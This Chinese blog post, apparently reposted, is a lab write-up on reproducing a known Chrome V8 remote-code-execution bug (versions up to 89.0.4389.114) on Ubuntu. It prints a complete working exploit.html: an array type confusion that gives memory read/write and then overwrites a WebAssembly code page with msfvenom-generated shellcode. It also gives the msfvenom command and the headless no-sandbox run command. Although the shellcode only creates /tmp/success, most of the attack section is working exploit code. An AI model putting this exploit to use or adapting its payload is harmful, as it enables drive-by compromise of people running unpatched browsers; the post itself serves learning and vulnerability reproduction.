当前位置:   article > 正文

Linux 下复现 Google Chrome RCE

chrome rce

写在前面:网上大多都是windows下复现的,不过最近我在Linux中也遇到了低版本的chrome,想着这也是一个点,但是没想到技术不够,没搞出来,还是看大佬的文档慢慢学吧。。。

目录

一.环境搭建

1.1 环境信息

1.2 下载历史版本的google chrome

1.3 安装google chrome

二.漏洞复现过程

2.1 构造exp

2.2 执行exp

2.3 问题 


一.环境搭建

首先遇到最鸡肋的问题,chrome官网不提供历史版本的下载,我不好说为啥,那我们这些新手咋学习嘛!vulhub也没有写好docker镜像,不把饭喂到我嘴里我还真不会吃了------我现在学安全的状态。

存在问题的google Chrome的版本为:

  • Google Chrome < = 89.0.4389.114(正式版)

1.1 环境信息

这里我选用的是Ubuntu 18.04

查看方式: 

lsb_release -a

1.2 下载历史版本的google chrome

自己找了半天没找到,别人一找就找到了,我气啊!!

下载地址:Download older versions of Google Chrome for Windows, Linux and Mac

选一个90版本以下的

1.3 安装google chrome

下载得到deb

安装google chrome

  1. #更新一下
  2. apt-get update
  3. #安装google chrome
  4. dpkg -i google-chrome-stable_current_amd64.deb
  5. #过程中少啥安啥就行,比如我的环境缺少xdg-utils
  6. apt-get install xdg-utils

成功之后查看结果

google-chrome --version

二.漏洞复现过程

参考:chrome 0day rce 漏洞复现 - SAUCERMAN

参考文章的作者是在windows上复现的,shellcode是执行打开记事本的,那么我们在linux上复现的话就尝试在tmp目录下新建一个success文件吧,那么执行的命令为

touch /tmp/success

2.1 构造exp

遇到了最浪费时间的问题就是:如何使用msfvemon生成十六进制类型的shellcode。。。这是浪费我最多时间的问题了,另一个问题就是如何用命令行运行我构造的html,因为google-chrome总是会自动打开UI界面,要不然就报错。我太难了我!

使用msfvemon生成

运行命令

msfvenom -p linux/x64/exec CMD="touch /tmp/success" -f c -a x64

为了方便整成十六进制形式,直接输出成c的形式

  1. "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
  2. "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x13\x00\x00\x00\x74\x6f\x75"
  3. "\x63\x68\x20\x2f\x74\x6d\x70\x2f\x73\x75\x63\x63\x65\x73\x73"
  4. "\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
  5. #然后处理成exp中需要的十六进制形式
  6. #我们使用记事本处理成十六进制形式即可:用 替换 即可
  7. #把 \ 替换成 ,0
  8. #把 " 替换成 (空)
  9. #然后删除头尾即可。

然后生成exploit.html(其中shellcode就是我们上面生成的,换成相应的内容即可)

  1. // exploit.html
  2. <script>
  3. function gc() {
  4. for (var i = 0; i < 0x80000; ++i) {
  5. var a = new ArrayBuffer();
  6. }
  7. }
  8. let shellcode = [0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x99,0x50,0x54,0x5f,0x52
  9. ,0x66,0x68,0x2d,0x63,0x54,0x5e,0x52,0xe8,0x13,0x00,0x00,0x00,0x74,0x6f,0x75
  10. ,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x73,0x75,0x63,0x63,0x65,0x73,0x73
  11. ,0x00,0x56,0x57,0x54,0x5e,0x6a,0x3b,0x58,0x0f,0x05];
  12. var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
  13. var wasmModule = new WebAssembly.Module(wasmCode);
  14. var wasmInstance = new WebAssembly.Instance(wasmModule);
  15. var main = wasmInstance.exports.main;
  16. var bf = new ArrayBuffer(8);
  17. var bfView = new DataView(bf);
  18. function fLow(f) {
  19. bfView.setFloat64(0, f, true);
  20. return (bfView.getUint32(0, true));
  21. }
  22. function fHi(f) {
  23. bfView.setFloat64(0, f, true);
  24. return (bfView.getUint32(4, true))
  25. }
  26. function i2f(low, hi) {
  27. bfView.setUint32(0, low, true);
  28. bfView.setUint32(4, hi, true);
  29. return bfView.getFloat64(0, true);
  30. }
  31. function f2big(f) {
  32. bfView.setFloat64(0, f, true);
  33. return bfView.getBigUint64(0, true);
  34. }
  35. function big2f(b) {
  36. bfView.setBigUint64(0, b, true);
  37. return bfView.getFloat64(0, true);
  38. }
  39. class LeakArrayBuffer extends ArrayBuffer {
  40. constructor(size) {
  41. super(size);
  42. this.slot = 0xb33f;
  43. }
  44. }
  45. function foo(a) {
  46. let x = -1;
  47. if (a) x = 0xFFFFFFFF;
  48. var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
  49. arr.shift();
  50. let local_arr = Array(2);
  51. local_arr[0] = 5.1;//4014666666666666
  52. let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
  53. arr[0] = 0x1122;
  54. return [arr, local_arr, buff];
  55. }
  56. for (var i = 0; i < 0x10000; ++i)
  57. foo(false);
  58. gc(); gc();
  59. [corrput_arr, rwarr, corrupt_buff] = foo(true);
  60. corrput_arr[12] = 0x22444;
  61. delete corrput_arr;
  62. function setbackingStore(hi, low) {
  63. rwarr[4] = i2f(fLow(rwarr[4]), hi);
  64. rwarr[5] = i2f(low, fHi(rwarr[5]));
  65. }
  66. function leakObjLow(o) {
  67. corrupt_buff.slot = o;
  68. return (fLow(rwarr[9]) - 1);
  69. }
  70. let corrupt_view = new DataView(corrupt_buff);
  71. let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
  72. let idx0Addr = corrupt_buffer_ptr_low - 0x10;
  73. let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
  74. let delta = baseAddr + 0x1c - idx0Addr;
  75. if ((delta % 8) == 0) {
  76. let baseIdx = delta / 8;
  77. this.base = fLow(rwarr[baseIdx]);
  78. } else {
  79. let baseIdx = ((delta - (delta % 8)) / 8);
  80. this.base = fHi(rwarr[baseIdx]);
  81. }
  82. let wasmInsAddr = leakObjLow(wasmInstance);
  83. setbackingStore(wasmInsAddr, this.base);
  84. let code_entry = corrupt_view.getFloat64(13 * 8, true);
  85. setbackingStore(fLow(code_entry), fHi(code_entry));
  86. for (let i = 0; i < shellcode.length; i++) {
  87. corrupt_view.setUint8(i, shellcode[i]);
  88. }
  89. main();
  90. </script>

2.2 执行exp

使用google-chrome运行exploit.html

google-chrome --headless  --no-sandbox exploit.html

 然后我们查看tmp目录下是否生成了success文件

成功!!

2.3 问题 

那可能就有爱学习的同学们问啦,headless参数是干嘛的?

Stop!我也不知道,但是大佬告诉我这样就行了,你被管那么多,所以我查了查,总结一下就是:

加了这个参数就不用打开UI界面,因为我是服务器,没安装那些东西所以也没有UI界面,主要就是方便测试呗。

Ps:UI界面示例(就是浏览器)

 参考:Headless Chrome 入门 - 知乎


虽然最近写的文章都没什么技术含量,主要是因为自己掌握的真不多啊,有没有学云安全的大佬或者好兄弟们一起带带我啊,我虽然笨点,但是我想学啊!!

下篇还是回到kubernetes,以我自己的理解总结一下BadPods那些危险配置会导致什么后果,然后再下一篇就写一下污点和容忍度吧。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/386570
推荐阅读
相关标签
  

闽ICP备14008679号